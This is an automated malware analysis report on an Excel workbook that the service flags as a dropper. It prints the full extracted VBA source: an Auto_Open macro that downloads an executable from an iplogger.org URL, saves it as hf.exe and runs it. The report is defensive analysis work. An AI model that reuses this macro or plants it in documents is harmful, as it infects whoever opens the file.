MALICIOUS
350
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
T1204.002 Malicious File
The VBA macro within the document contains an Auto_Open subroutine that utilizes MSXML2.ServerXMLHTTP to download a file from "https://iplogger.org/2HiRd5" and saves it as "hf.exe". Subsequently, it uses WScript.Shell to execute the downloaded file, indicating a dropper functionality. The presence of critical heuristics for WScript.Shell usage, HTTP download and execution, and ClamAV detections strongly supports this assessment.
Heuristics 8
-
ClamAV: Doc.Dropper.Agent-7118696-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-7118696-0
-
VBA project inside OOXML medium 5 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set objShell = CreateObject("WScript.Shell") -
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
oStream.Write objXMLHTTP.ResponseBody -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set objXMLHTTP = CreateObject("MSXML2.ServerXMLHTTP") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Public Sub Auto_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://iplogger.org/2HiRd5 Referenced by macro
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1263 bytes |
SHA-256: 966e560eb3ac7c7bb8c510e24baf1bb50ea9e142b3d813fc01816d8c78c46d32 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
Dim objXMLHTTP
Dim objADOStream
Dim objShell
Public Sub Auto_Open()
strFileURL = "https://iplogger.org/2HiRd5"
strHDLocation = "hf.exe"
Set objXMLHTTP = CreateObject("MSXML2.ServerXMLHTTP")
objXMLHTTP.Open "GET", strFileURL, False
objXMLHTTP.Send
If objXMLHTTP.Status = 200 Then
Set oStream = CreateObject("ADODB.Stream")
oStream.Open
oStream.Type = 1
oStream.Write objXMLHTTP.ResponseBody
oStream.Position = 0
oStream.SaveToFile strHDLocation, 2
oStream.Close
Set oStream = Nothing
End If
Set objXMLHTTP = Nothing
Set objShell = CreateObject("WScript.Shell")
objShell.exec ("hf.exe")
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 17408 bytes |
SHA-256: f672a0355fe7f3ec1a209a00b19bd7b492948078c3a865a10af5ccb75aa2f1d8 |
|||
|
Detection
ClamAV:
Doc.Dropper.Agent-7118696-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.